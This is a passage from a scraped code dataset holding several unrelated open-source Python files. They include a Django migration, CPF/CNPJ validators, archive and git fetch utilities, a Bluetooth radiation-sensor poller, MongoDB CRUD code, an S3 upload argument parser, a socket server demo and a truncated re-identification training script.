(b'11', 'Handicappt/Wheelchair'),\n                    (b'12', 'Classic Bodybuilding'), (b'13', 'M\\xe4nner Physique'),\n                    (b'14', 'M\\xe4nner Bodybuilding')\n                ]\n            ),\n            preserve_default=True,\n        ),\n        migrations.AlterField(\n            model_name='submissioninternational',\n            name='championship',\n            field=models.CharField(\n                help_text='Meisterschaft in der Du starten m\\xf6chtest',\n                max_length=150,\n                verbose_name='Meisterschaft'\n            ),\n            preserve_default=True,\n        ),\n    ]\n","repo_name":"rolandgeider/dbfv","sub_path":"submission/migrations/0005_auto_20160302_1406.py","file_name":"0005_auto_20160302_1406.py","file_ext":"py","file_size_in_byte":1964,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"37171249249","text":"import re\nfrom time import sleep\nfrom colorama import Fore\n\ndef validRegex(info, type):\n    if type == 'name':\n        reg = re.compile('[A-z]')\n        resp = reg.findall(info)\n        if len(resp) > 1: \n            nomeV = ''.join(resp)\n            return nomeV\n        else: return False\n\n    elif type == 'cpf':\n        reg = re.compile('[0-9]')\n        resp = reg.findall(info)\n        if len(resp) == 11: \n            cpfV = ''.join(resp)\n            return cpfV\n        else: return False\n\n    elif type == 'cnpj':\n        reg = re.compile('[0-9]')\n        resp = reg.findall(info)\n        if len(resp) == 14: \n            cpfV = ''.join(resp)\n            return cpfV\n        else: return False\n\ndef validInput(input):\n    if input == '':\n        print(Fore.RED + \"Por favor insira a informação corretamente\" + Fore.RESET)\n        sleep(2)\n        return False\n    else: return True","repo_name":"gcostacoelho/AMBrasil","sub_path":"valid.py","file_name":"valid.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"73520840401","text":"def split_flavor(flavor):\n    \"\"\"\n    Split a flavor into type and subtype.\n\n    :param flavor: The flavor to split\n    :type flavor: str\n    :return: type, subtype\n    :rtype: str, str\n    :raise: ValueError\n    \"\"\"\n    flavor_types = flavor.split(\"/\")\n    if len(flavor_types) != 2:\n        raise ValueError(\"Invalid flavor\")\n\n    flavor_type = flavor_types[0]\n    flavor_subtype = flavor_types[1]\n    return flavor_type, flavor_subtype\n\n\ndef matches_flavor(asset_flavor, config_flavors):\n    \"\"\"\n    Check if a flavor matches the flavors in a list. The latter can contain the placeholder \"*\".\n\n    :param asset_flavor: The flavor to check\n    :type asset_flavor: str\n    :param config_flavors: The flavors to match (can contain \"*\")\n    :type config_flavors: list\n    :return: Whether the flavor matches.\n    :rtype: bool\n    \"\"\"\n\n    asset_flavor_type, asset_flavor_subtype = split_flavor(asset_flavor)\n    for config_flavor in config_flavors:\n        config_flavor_type, config_flavor_subtype = split_flavor(config_flavor)\n\n        if (config_flavor_type == \"*\" or config_flavor_type == asset_flavor_type) and \\\n           (config_flavor_subtype == \"*\" or config_flavor_subtype == asset_flavor_subtype):\n            return True\n\n    return False\n","repo_name":"opencast/helper-scripts","sub_path":"lib/data_handling/flavor_matcher.py","file_name":"flavor_matcher.py","file_ext":"py","file_size_in_byte":1251,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"3"}
+{"seq_id":"26618997787","text":"from plotly.graph_objs import Bar\n\n\ndef add_category_count_graph(df):\n    \"\"\"Returns jsonified plotly barplot of message sources grouped and counted by category.\n\n    Parameters:\n    -----------\n    df: pd.DataFrame\n        Dataframe with preprocessed data of messages and categories.\n    \"\"\"\n    category_counts = df[[c for c in df.columns if \"category\" in c]].sum(axis=0)\n    category_names = [c[9:] for c in category_counts.index]\n    category_counts = category_counts.values\n\n    return {\n        \"data\": [\n            Bar(\n                x=category_names,\n                y=category_counts\n            )\n        ],\n\n        \"layout\": {\n            \"title\": \"Number of messages per category\",\n            \"yaxis\": {\n                \"title\": \"Count\"\n            },\n            'height': 600,\n            'margin': dict(b=200, pad=4),\n        }\n    }\n\n\ndef add_source_count_graph(df):\n    \"\"\"Returns jsonified plotly barplot of message sources grouped and counted by genre.\n\n    Parameters:\n    -----------\n    df: pd.DataFrame\n        Dataframe with preprocessed data of messages and categories.\n    \"\"\"\n    genre_counts = df[\"genre\"].value_counts()\n    genre_names = genre_counts.index\n    genre_counts = genre_counts.values\n\n    return {\n        \"data\": [\n            Bar(\n                x=genre_names,\n                y=genre_counts\n            )\n        ],\n\n        \"layout\": {\n            \"title\": \"Source of gathered messages\",\n            \"yaxis\": {\n                \"title\": \"Count\"\n            },\n            'height': 600,\n            'margin': dict(b=200, pad=4),\n        }\n    }\n","repo_name":"FisherKK/Portfolio","sub_path":"Projects/Disaster-Response-Classification/project/web/visualisation.py","file_name":"visualisation.py","file_ext":"py","file_size_in_byte":1595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"8121826184","text":"from __future__ import annotations\n\nimport logging\nimport tarfile\nimport tempfile\nimport zipfile\nfrom contextlib import contextmanager\nfrom io import BytesIO\nfrom pathlib import Path\nfrom typing import Generator\nfrom urllib.parse import urldefrag, urlsplit, urlunsplit\n\nimport dulwich\nimport requests\n\nfrom .git_util import GitPath, GitRepo\n\nlogger = logging.getLogger(__name__)\n\n\ndef _this_or_only_subdir(path: Path) -> Path:\n    members = list(path.iterdir())\n    return members[0] if len(members) == 1 and members[0].is_dir() else path\n\n\n@contextmanager\ndef _fetch_from_path(path: Path | GitPath) -> Generator[Path | GitPath, None, None]:\n    if path.is_dir():\n        yield path\n    else:\n        with tempfile.TemporaryDirectory() as tmp_dir:\n            try:\n                with tarfile.open(fileobj=BytesIO(path.read_bytes())) as tar_file:\n                    tar_file.extractall(path=tmp_dir)\n                    yield _this_or_only_subdir(Path(tmp_dir))\n            except tarfile.ReadError as error:\n                logger.debug(str(error))\n                try:\n                    with zipfile.ZipFile(BytesIO(path.read_bytes())) as zip_file:\n                        zip_file.extractall(path=tmp_dir)\n                        yield _this_or_only_subdir(Path(tmp_dir))\n                except zipfile.BadZipFile as error:\n                    logger.debug(str(error))\n                    raise RuntimeError(\"Failed to extract archive from file.\")\n\n\n@contextmanager\ndef _fetch_from_https(url: str) -> Generator[Path | GitPath, None, None]:\n    response = requests.get(url, stream=True)\n    response.raise_for_status()\n    content = response.content\n    with tempfile.NamedTemporaryFile() as tmp_file:\n        tmp_file.write(content)\n        tmp_file.flush()\n        try:\n            with _fetch_from_path(Path(tmp_file.name)) as path:\n                yield path\n        except RuntimeError as error:\n            raise RuntimeError(f\"Unable to read from '{url}': {error}\")\n\n\ndef _parse_git_url(git_url: str) -> tuple[str, str, str]:\n    path = urldefrag(git_url).fragment\n    if \"@\" in git_url:\n        url, rev = urldefrag(git_url).url.rsplit(\"@\", 1)\n    else:\n        url, rev = urldefrag(git_url).url, None\n    return url, (rev or \"HEAD\"), path\n\n\n@contextmanager\ndef _fetch_from_git_https(git_url: str) -> Generator[Path | GitPath, None, None]:\n    url, rev, path = _parse_git_url(git_url)\n\n    with tempfile.TemporaryDirectory() as tmp_dir:\n        repo = GitRepo.clone_from_url(url, tmp_dir)\n        git_path = GitPath(repo.path, repo.ref_from_rev(rev)).joinpath(path)\n        with _fetch_from_path(git_path) as tmp_path:\n            yield tmp_path\n\n\n@contextmanager\ndef _fetch_from_git_local(git_url: str) -> Generator[Path | GitPath, None, None]:\n    url, rev, path = _parse_git_url(git_url)\n\n    try:\n        repo = GitRepo(urlsplit(url).path)\n    except dulwich.errors.NotGitRepository as error:\n        raise RuntimeError(\n            f\"{error}\"\n            + (\" Did you use a relative path?\" if urlsplit(url).netloc else \"\")\n        )\n\n    git_path = GitPath(repo.path, repo.ref_from_rev(rev)).joinpath(path)\n    with _fetch_from_path(git_path) as tmp_path:\n        yield tmp_path\n\n\n@contextmanager\ndef fetch_from_url(url: str) -> Generator[Path | GitPath, None, None]:\n    ps = urlsplit(url)\n\n    if ps.scheme in (\"\", \"file\"):  # on the local file system\n        try:\n            with _fetch_from_path(Path(ps.path)) as path:\n                yield path\n        except FileNotFoundError as error:\n            raise RuntimeError(\n                f\"{error}\" + (\" Did you use a relative path?\" if ps.netloc else \"\")\n            )\n\n    elif ps.scheme == \"https\":  # access archive via https\n        with _fetch_from_https(url) as path:\n            yield path\n\n    elif ps.scheme == \"git+https\":  # clone git repository via https\n        with _fetch_from_git_https(urlunsplit(ps._replace(scheme=\"https\"))) as path:\n            yield path\n\n    elif ps.scheme == \"git+file\":  # parse local git repository\n        with _fetch_from_git_local(urlunsplit(ps._replace(scheme=\"\"))) as path:\n            yield path\n\n    else:  # unknown scheme\n        raise ValueError(f\"Unsupported scheme: {ps.scheme}.\")\n","repo_name":"aiidalab/aiidalab","sub_path":"aiidalab/fetch.py","file_name":"fetch.py","file_ext":"py","file_size_in_byte":4209,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"3"}
+{"seq_id":"18266276099","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"Safecast Tracker Class Definitions\"\"\"\n\n__author__ = 'Greg Albrecht W2GMD <gba@orionlabs.co>'\n__license__ = 'Apache License, Version 2.0'\n__copyright__ = 'Copyright 2015 Orion Labs, Inc.'\n\n\nimport logging\nimport logging.handlers\nimport threading\n\nimport pygatt\nimport pygatt.util\n\nimport safecast_tracker.constants\n\n\nclass BGeigieNanoPoller(threading.Thread):\n\n    \"\"\"Threadable Object for polling a Safecast Nano.\"\"\"\n\n    BGN_PROPERTIES = [\n        'stype',\n        'device_id',\n        'date',\n        'rad_1_min',\n        'rad_5_secs',\n        'rad_total_count',\n        'rad_valid',\n        'latitude',\n        'hemisphere',\n        'longitude',\n        'east_west',\n        'altitude',\n        'gps_valid',\n        'hdop',\n        'checksum'\n    ]\n\n    SUB = 'a1e8f5b1-696b-4e4c-87c6-69dfe0b0093b'\n\n    _logger = logging.getLogger(__name__)\n    _logger.setLevel(safecast_tracker.constants.LOG_LEVEL)\n    _console_handler = logging.StreamHandler()\n    _console_handler.setLevel(safecast_tracker.constants.LOG_LEVEL)\n    _console_handler.setFormatter(safecast_tracker.constants.LOG_FORMAT)\n    _logger.addHandler(_console_handler)\n    _logger.propagate = False\n\n    def __init__(self, mac):\n        threading.Thread.__init__(self)\n        self.mac = mac\n        self.str_buffer = ''\n        self.bgn = None\n        self.bgn_props = {}\n        _ = [self.bgn_props.update({p: None}) for p in self.BGN_PROPERTIES]\n        self._connect()\n\n    def _connect(self):\n        \"\"\"\n        Connects to BGN.\n        \"\"\"\n        pygatt.util.reset_bluetooth_controller()\n        self.bgn = pygatt.BluetoothLEDevice(self.mac)\n        self.bgn.connect()\n        self.bgn.char_write(32, bytearray([0x03, 0x00]))\n        self.bgn.subscribe(self.SUB, self.store)\n\n    def store(self, handle, handle_value):\n        \"\"\"\n        Stores handle value in string buffer.\n\n        :param handle:\n        :param handle_value: Value from handle.\n        \"\"\"\n        _ = handle\n        handle_str = str(handle_value)\n\n        if '$' in handle_str:\n            self.bgn_props.update(\n                dict(zip(self.BGN_PROPERTIES, self.str_buffer.split(','))))\n\n            if self.bgn_props['altitude'] is not None:\n                self.bgn_props['altitude'] = float(self.bgn_props['altitude'])\n\n            if self.bgn_props['latitude'] is not None:\n                self.bgn_props['latitude'] = float(self.bgn_props['latitude'])\n\n            if self.bgn_props['longitude'] is not None:\n                self.bgn_props['longitude'] = float(\n                    self.bgn_props['longitude'])\n\n            if self.bgn_props['rad_1_min'] is not None:\n                self.bgn_props['rad_1_min'] = int(self.bgn_props['rad_1_min'])\n\n            self.str_buffer = handle_str\n        else:\n            self.str_buffer = ''.join([self.str_buffer, handle_str])\n\n    def run(self):\n        try:\n            self.bgn.run()\n        except StopIteration:\n            pass\n\n    def stop(self):\n        \"\"\"\n        Stop the thread at the next opportunity.\n        \"\"\"\n        if self.bgn is not None:\n            self.bgn.stop()\n            self.bgn.disconnect()\n        pygatt.util.reset_bluetooth_controller()\n","repo_name":"ampledata/safecast_tracker","sub_path":"safecast_tracker/classes.py","file_name":"classes.py","file_ext":"py","file_size_in_byte":3218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"20725336986","text":"from server.database import get_collection\nfrom bson import ObjectId\n\ncategory_collection = get_collection('docesWebApi', 'category')\n\n# Helpers\n\ndef category_helper(category: dict) -> dict:\n    return {\n        \"category_id\": category[\"category_id\"],\n        \"category\": category[\"category\"],\n        \"active\": category[\"active\"]\n    }\n    \n\n# CRUD methods\nasync def add_new_category(category_data: dict) -> dict:\n    totals = 0\n    async for element in category_collection.find():\n        totals += 1\n\n    new_data = {\n        \"category_id\": totals + 1,\n        \"category\": category_data[\"category\"],\n        \"active\": category_data[\"active\"]\n    }\n\n    category = await category_collection.insert_one(new_data)\n    new_category = await category_collection.find_one({\"_id\": category.inserted_id})\n    return category_helper(new_category)\n\nasync def update_category(category: dict) -> dict:\n    try:\n        await category_collection.update_one({\"category\": category[\"category\"]}, {\"$set\": category})\n        new_category = await category_collection.find_one({\"category\": category[\"category\"]})\n        return category_helper(new_category)\n    except Exception as error:\n        print(error)\n        return None\n\nasync def retrieve_all_categories() -> list:\n    list_categories = []\n    async for category in category_collection.find():\n        list_categories.append(category_helper(category))\n    return list_categories\n\nasync def retrieve_category_by_name(category_name: str) -> dict:\n    category = await category_collection.find_one({\"category\": category_name})\n    if category:\n        return category_helper(category)\n    return None\n\nasync def retrieve_active_categories() -> list:\n    list_categories = []\n    async for category in category_collection.find({\"active\": True}):\n        list_categories.append(category_helper(category))\n    return list_categories\n","repo_name":"renatohkuramoto/docesWebApi","sub_path":"server/collections/categories.py","file_name":"categories.py","file_ext":"py","file_size_in_byte":1871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"10084552406","text":"# argument parser for folder_to_s3\n\nimport argparse\n\n# max size in bytes before uploading in parts (gigabytes)\nMAX_SIZE = 1\n\n# size of parts when uploading in parts (megabytes)\nPART_SIZE = 512\n\n# maximum number of threads that will be making requests\nMAX_CONCURRENCY = 8\n\n# maximum number of processes that will share the workload\nMAX_PARALLELISM = 8\n\n# AWS region\nREGION = 'eu-west-2'\n\n\ndef configure(args):\n\n    # new actions for agrparser\n\n    class MBtoB(argparse.Action):\n        def __init__(self, option_strings, dest, nargs=None, **kwargs):\n            if nargs is not None:\n                raise ValueError(\"nargs not allowed\")\n            super(MBtoB, self).__init__(option_strings, dest, **kwargs)\n\n        def __call__(self, parser, namespace, values, option_string=None):\n            setattr(namespace, self.dest, values * (2 ** 10))\n\n    class GBtoB(argparse.Action):\n        def __init__(self, option_strings, dest, nargs=None, **kwargs):\n            if nargs is not None:\n                raise ValueError(\"nargs not allowed\")\n            super(GBtoB, self).__init__(option_strings, dest, **kwargs)\n\n        def __call__(self, parser, namespace, values, option_string=None):\n            setattr(namespace, self.dest, values * (2 ** 20))\n\n    desc = ('This script uploads a nested folder on s3.\\n'\n            'The target folder must be in the pwd.\\n'\n            'Target folder can be mapped directly onto\\n'\n            'the bucket, or inside it.\\n\\nExamples:\\n'\n            '  -upload.py src_folder/ bucket\\n'\n            '  -upload.py src_folder/ bucket/folder\\n')\n\n    parser = argparse.ArgumentParser(description=desc,\n                                     formatter_class=argparse.RawTextHelpFormatter)\n\n    parser.add_argument('src',\n                        help='target folder',\n                        default='')\n\n    parser.add_argument('dst',\n                        help='target endpoint',\n                        default='')\n\n    parser.add_argument('-mt',\n                        '--multipart_threshold',\n                        metavar='threshold',\n                        help='file size threshold for multipart (GB)',\n                        type=int,\n                        action=GBtoB,\n                        default=MAX_SIZE * (1024 ** 3))\n\n    parser.add_argument('-ms',\n                        '--multipart_chunksize',\n                        metavar='chunksize',\n                        help='chunk size for multipart (MB)',\n                        type=int,\n                        action=MBtoB,\n                        default=PART_SIZE * (1024 ** 2))\n\n    parser.add_argument('-mp',\n                        '--max_parallelism',\n                        metavar='parallelism',\n                        help='maximum number of processes per folder',\n                        type=int,\n                        default=MAX_PARALLELISM)\n\n    parser.add_argument('-mc',\n                        '--max_concurrency',\n                        metavar='concurrency',\n                        help='maximum number of threads for multipart',\n                        type=int,\n                        default=MAX_CONCURRENCY)\n\n    parser.add_argument('-r',\n                        '--region',\n                        metavar='region',\n                        help='set a different region to upload to',\n                        default=str(REGION))\n\n    parser.add_argument('-fc',\n                        '--force_copy',\n                        help='create the bucket if it doesnt exists',\n                        action='store_true',\n                        default=False)\n\n    return parser.parse_args(args)\n","repo_name":"serapred/folder_to_s3","sub_path":"utils/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":3636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"14860461791","text":"#el cliente se conecta, el servidor lee la ip y acaba el programa\nimport socket\ns = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #utiliza ipb4 con af_inet, que utilice tcp con socket_stream\ns.bind((\"192.168.1.46\",2019))#ip del servidor (raspberry) y en el puerto 2019\ns.listen(5) #acepta 5 conecciones en simultaneo\nprint(\"esperando un cliente\")\n#esperamos al cliente a que se conecte en la linea de abajo\n(sc,addrC) = s.accept() #cuando el cliente se conecte se crea el socket del cliente y la direccion ip del cliente\nprint(\"se conecto el cliente\")\nprint(\"ip del cliente \", addrC)\nsc.close()#cerrar el socket del cliente\ns.close()#cerrar el socket del servidor\nprint(\"fin de programa\")","repo_name":"diegoms21/DiegoRaspy4","sub_path":"PruebaCliente-Servidor-Hilos/ejemploCliente-Servidor1.py","file_name":"ejemploCliente-Servidor1.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"16988741296","text":"import argparse\nfrom test import calculate_features\nimport os\nfrom struct import calcsize\nimport time\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport torch\nimport torch.backends.cudnn as cudnn\nimport torchvision\n# from IPython import embed\nfrom model import Net\nfrom custom_dataloader import *\nimport wandb\nfrom test import *\nimport evaluate_frame_base as eval_fb\nimport evaluate_trajectory_base as eval_tb\nimport evaluate as eval_default\n\nparser = argparse.ArgumentParser(description=\"Train on market1501\")\n# parser.add_argument(\"--data-dir\", default='data', type=str)\nparser.add_argument(\"--data-dir\", default='/data.local/hangd/human_tracking/ALL_SCRIPTS/generate_reid_data/uet_reid', type=str)\n# parser.add_argument(\"--data-dir\", default='/data.local/hangd/data_vtx/toy_data/toy_reid_dataset/reid_dataset', type=str)\nparser.add_argument(\"--no-cuda\", action=\"store_true\")\nparser.add_argument(\"--gpu-id\", default=0, type=int)\n# parser.add_argument(\"--lr\", default=0.1, type=float)\nparser.add_argument(\"--lr\", default=3e-4, type=float)\nparser.add_argument(\"--interval\", '-i', default=20, type=int)\nparser.add_argument('--resume', '-r', action='store_true')\nparser.add_argument('--ckpt', default = './checkpoint/ckpt.t7', type=str)\nparser.add_argument('--epochs', default=30, type=int)\nparser.add_argument('--batch', default=64, type=int)\n# parser.add_argument('--save-ckpt-path', default='checkpoint/debug.t7', type=str)\nparser.add_argument('--save-dir', default='checkpoint/cbdatav3', type=str)\nparser.add_argument('--ckpt-name', default='debug', type=str)\nparser.add_argument('--save-result', default='training_curves/train.jpg', type=str)\nparser.add_argument('--project-name', default='Reid_Deepsort', type=str)\nparser.add_argument('--run-name', default='new_run', type=str)\nparser.add_argument(\"--test_json\", default='/data.local/hangd/human_tracking/ALL_SCRIPTS/generate_reid_data/uet_reid/test_video_infos.json', type=str)\n\nargs = parser.parse_args()\n\n# device\n# device = \"cuda:{}\".format(\n#     args.gpu_id) if torch.cuda.is_available() and not args.no_cuda else \"cpu\"\n\ndevice = torch.device(args.gpu_id)\n\n\nif torch.cuda.is_available() and not args.no_cuda:\n    cudnn.benchmark = True\n\n# data loading\nroot = args.data_dir\ntrain_dir = os.path.join(root, \"train\")\n# test_dir = os.path.join(root, \"test\")\n\n# test on gallery folder\ntest_dir = os.path.join(root, \"gallery\")\n\ntransform_train = torchvision.transforms.Compose([\n    torchvision.transforms.RandomCrop((128, 64), padding=4, pad_if_needed=True),\n    torchvision.transforms.RandomHorizontalFlip(),\n    torchvision.transforms.ToTensor(),\n    torchvision.transforms.Normalize(\n        [0.485, 0.456, 0.406], [0.229, 0.224, 0.225])\n])\n\ntransform_test = torchvision.transforms.Compose([\n    torchvision.transforms.Resize((128, 64)),\n    torchvision.transforms.ToTensor(),\n    torchvision.transforms.Normalize(\n        [0.485, 0.456, 0.406], [0.229, 0.224, 0.225])\n])\n\n# trainloader = torch.utils.data.DataLoader(\n#     torchvision.datasets.ImageFolder(train_dir, transform=transform_train),\n#     batch_size=args.batch, shuffle=True\n# )\n\n# testloader = torch.utils.data.DataLoader(\n#     torchvision.datasets.ImageFolder(test_dir, transform=transform_test),\n#     batch_size=args.batch, shuffle=True\n# )\n\ntrainloader = torch.utils.data.DataLoader(\n    ImageFolderWithPaths(train_dir, transform=transform_train),\n    batch_size=args.batch, shuffle=True\n)\ntestloader = torch.utils.data.DataLoader(\n    ImageFolderWithPaths(test_dir, transform=transform_test),\n    batch_size=args.batch, shuffle=True\n)\n\nnum_classes = max(len(trainloader.dataset.classes),\n                  len(testloader.dataset.classes))\n\nprint(\"Num class:\", num_classes)\n# net definition\n\nstart_epoch = 0\nnet = Net(num_classes=num_classes)\n\nif args.resume:\n    assert os.path.isfile(\n        args.ckpt), \"Error: no checkpoint file found!\"\n    print('Loading from {}'.format(args.ckpt))\n    checkpoint = torch.load(args.ckpt, map_location=device)\n    # import ipdb; ipdb.set_trace()\n    net_dict = checkpoint['net_dict']\n    model_dict = net.state_dict()\n    pretrained_dict = {k: v for k, v in net_dict.items() if k not in [\"classifier.4.weight\", \"classifier.4.bias\"]}\n    model_dict.update(pretrained_dict)\n    net.load_state_dict(model_dict)\n    best_acc = checkpoint['acc']\n    start_epoch = checkpoint['epoch']\nnet.to(device)\n\n# loss and optimizer\ncriterion = torch.nn.CrossEntropyLoss()\noptimizer = torch.optim.SGD(\n    net.parameters(), args.lr, momentum=0.9, weight_decay=5e-4)\n\n\nbest_acc = 0.\nbest_mAP_default = 0.\nbest_mAP_tb = 0.\nbest_mAP_fb = 0.\n\nbest_acc_top1_default = 0.\nbest_acc_top1_tb = 0.\nbest_acc_top1_fb = 0.\n\n\n# train function for each epoch\n\n\ndef train(epoch):\n    print(\"\\nEpoch : %d\" % (epoch+1))\n    net.train()\n    training_loss = 0.\n    train_loss = 0.\n    correct = 0\n    total = 0\n    interval = args.interval\n    start = time.time()\n    for idx, (inputs, labels, paths) in enumerate(trainloader):\n        # embed(header = 'debug label 1')\n        # forward\n        inputs, labels = inputs.to(device), labels.to(device)\n        # batch_size x num_class\n        outputs = net(inputs)\n\n        loss = criterion(outputs, labels)\n\n        # embed(header = 'debug train epoch')\n\n        # backward\n        # try:\n        #     optimizer.zero_grad()\n        #     loss.backward()\n        #     optimizer.step()\n        # except:\n        #     embed(header='debug label 2')\n\n        optimizer.zero_grad()\n        loss.backward()\n        optimizer.step()\n\n        # accumurating\n        training_loss += loss.item()\n        train_loss += loss.item()\n        correct += outputs.max(dim=1)[1].eq(labels).sum().item()\n\n        # res = scores.topk(5, dim=1)[1][:, 0]\n        # top1correct = gl[res].eq(ql).sum().item()\n\n        total += labels.size(0)\n\n        # print\n        if (idx+1) % interval == 0:\n            end = time.time()\n            print(\"Epoch: {} \\t [progress: {:.1f}%] \\t time: {:.2f}s \\t Loss:{:.5f} \\t Correct:{}/{} \\t Acc:{:.3f}%\".format(epoch+1,\n                100.*(idx+1)/len(trainloader), end-start, training_loss /\n                interval, correct, total, 100.*correct/total\n            ))\n\n            training_loss = 0.\n            start = time.time()\n\n    print('Accuracy overall for epoch {}: {:.5f}'.format(epoch, correct/total))\n    print('Total corrects for epoch {}: {}'.format(epoch, correct))\n    print('Total samples for epoch {}: {}'.format(epoch, total))\n    print()\n\n    train_loss, train_acc = train_loss/len(trainloader), 100.*correct/total\n\n    return train_loss, train_acc\n\n\ndef eval_epoch(epoch):\n    global best_mAP_default\n    global best_mAP_tb\n    global best_mAP_fb\n\n    global best_acc_top1_default\n    global best_acc_top1_tb\n    global best_acc_top1_fb\n\n    # only use embedding part, ignore classify layers\n    state_dict = net.state_dict()\n    reid_net = Net(num_classes=num_classes, reid=True)\n    reid_net.load_state_dict(state_dict, strict=False)\n\n    features = calculate_features(net=reid_net,\n                                  root_dir = root,\n                                  batch=args.batch,\n                                  device=device,\n                                  save_features=False)\n\n\n    # eval default on whole gallery\n    acc_top1_default, precision_k_default, mAP_default = eval_default.evaluate(features = features,\n                                                                                p_k = 5,\n                                                                                mAP_n = 5,\n                                                                                range = 100,\n                                                                                show = False)\n\n    acc_top1_tb, precision_k_tb, mAP_tb = eval_tb.evaluate(features = features,\n                                                            p_k = 5,\n                                                            mAP_n = 5,\n                                                            range = 100,\n                                                            show = False,\n                                                            test_json=args.test_json)\n\n    acc_top1_fb, precision_k_fb, mAP_fb = eval_fb.evaluate(features = features,\n                                                                p_k = 5,\n                                                                mAP_n = 5,\n                                                                range = 100,\n                                                                show = False,\n                                                                test_json=args.test_json)\n\n    print()\n    print('Testing on whole gallery')\n    print('Top 1 acc: {:.5f} \\t P@5: {:.5f} \\t mAP@5: {:.5f}'.format(acc_top1_default, precision_k_default, mAP_default))\n    print()\n\n    print('Testing base on trajectory')\n    print('Top 1 acc: {:.5f} \\t P@5: {:.5f} \\t mAP@5: {:.5f}'.format(acc_top1_tb, precision_k_tb, mAP_tb))\n    print()\n\n    print('Testing base on frames')\n    print('Top 1 acc: {:.5f} \\t P@5: {:.5f} \\t mAP@5: {:.5f}'.format(acc_top1_fb, precision_k_fb, mAP_fb))\n    print()\n\n\n    if mAP_default > best_mAP_default:\n        best_mAP_default = mAP_default\n\n        save_path = os.path.join(args.save_dir, args.ckpt_name + '_eval_default.t7')\n\n        print(\"Saving parameters to {}\".format(save_path))\n        checkpoint = {\n            'net_dict': net.state_dict(),\n            'acc': acc_top1_default,\n            'epoch': epoch,\n            'mAP': best_mAP_default,\n            'num_classes': num_classes\n        }\n\n        if not os.path.isdir(args.save_dir):\n            os.mkdir(args.save_dir)\n        torch.save(checkpoint, save_path)\n\n\n    if mAP_tb > best_mAP_tb:\n        best_mAP_tb = mAP_tb\n\n        save_path = os.path.join(args.save_dir, args.ckpt_name + '_eval_trajectory.t7')\n\n        print(\"Saving parameters to {}\".format(save_path))\n        checkpoint = {\n            'net_dict': net.state_dict(),\n            'acc': acc_top1_tb,\n            'epoch': epoch,\n            'mAP': best_mAP_tb,\n            'num_classes': num_classes\n        }\n\n        if not os.path.isdir(args.save_dir):\n            os.mkdir(args.save_dir)\n        torch.save(checkpoint, save_path)\n\n\n    if mAP_fb > best_mAP_fb:\n        best_mAP_fb = mAP_fb\n\n        save_path = os.path.join(args.save_dir, args.ckpt_name + '_eval_frame.t7')\n\n        print(\"Saving parameters to {}\".format(save_path))\n        checkpoint = {\n            'net_dict': net.state_dict(),\n            'acc': acc_top1_fb,\n            'epoch': epoch,\n            'mAP': best_mAP_fb,\n            'num_classes': num_classes\n        }\n\n        if not os.path.isdir(args.save_dir):\n            os.mkdir(args.save_dir)\n        torch.save(checkpoint, save_path)\n\n    \n\n    if acc_top1_default > best_acc_top1_default:\n        best_acc_top1_default = acc_top1_default\n\n        save_path = os.path.join(args.save_dir, args.ckpt_name + '_best_acc_eval_default.t7')\n\n        print(\"Saving parameters to {}\".format(save_path))\n        checkpoint = {\n            'net_dict': net.state_dict(),\n            'acc': best_acc_top1_default,\n            'epoch': epoch,\n            'mAP': mAP_default,\n            'num_classes': num_classes\n        }\n\n        if not os.path.isdir(args.save_dir):\n            os.mkdir(args.save_dir)\n            \n        torch.save(checkpoint, save_path)\n\n\n    if acc_top1_tb > best_acc_top1_tb:\n        best_acc_top1_tb = acc_top1_tb\n\n        save_path = os.path.join(args.save_dir, args.ckpt_name + '_best_acc_eval_trajectory.t7')\n\n        print(\"Saving parameters to {}\".format(save_path))\n        checkpoint = {\n            'net_dict': net.state_dict(),\n            'acc': best_acc_top1_tb,\n            'epoch': epoch,\n            'mAP': mAP_tb,\n            'num_classes': num_classes\n        }\n\n        if not os.path.isdir(args.save_dir):\n            os.mkdir(args.save_dir)\n        torch.save(checkpoint, save_path)\n\n\n    if acc_top1_fb > best_acc_top1_fb:\n        best_acc_top1_fb = acc_top1_fb\n\n        save_path = os.path.join(args.save_dir, args.ckpt_name + '_best_acc_eval_frame.t7')\n\n        print(\"Saving parameters to {}\".format(save_path))\n        checkpoint = {\n            'net_dict': net.state_dict(),\n            'acc': best_acc_top1_fb,\n            'epoch': epoch,\n            'mAP': mAP_fb,\n            'num_classes': num_classes\n        }\n\n        if not os.path.isdir(args.save_dir):\n            os.mkdir(args.save_dir)\n        torch.save(checkpoint, save_path)\n\n    return acc_top1_default, precision_k_default, mAP_default, acc_top1_tb, precision_k_tb, mAP_tb, acc_top1_fb, precision_k_fb, mAP_fb\n\n\n# plot figure\nx_epoch = []\nrecord = {'train_loss': [], 'train_acc': [], 'test_loss': [], 'test_acc': []}\nfig = plt.figure()\nax0 = fig.add_subplot(121, title=\"Loss\")\nax1 = fig.add_subplot(122, title=\"Top 1 accuracy\")\n\n\ndef draw_curve(epoch, train_loss, train_acc, test_loss, test_acc):\n    global record\n    record['train_loss'].append(train_loss)\n    record['train_acc'].append(train_acc)\n    record['test_loss'].append(test_loss)\n    record['test_acc'].append(test_acc)\n\n    x_epoch.append(epoch)\n    ax0.plot(x_epoch, record['train_loss'], 'bo-', label='train')\n    ax0.plot(x_epoch, record['test_loss'], 'ro-', label='val')\n    ax1.plot(x_epoch, record['train_acc'], 'bo-', label='train')\n    ax1.plot(x_epoch, record['test_acc'], 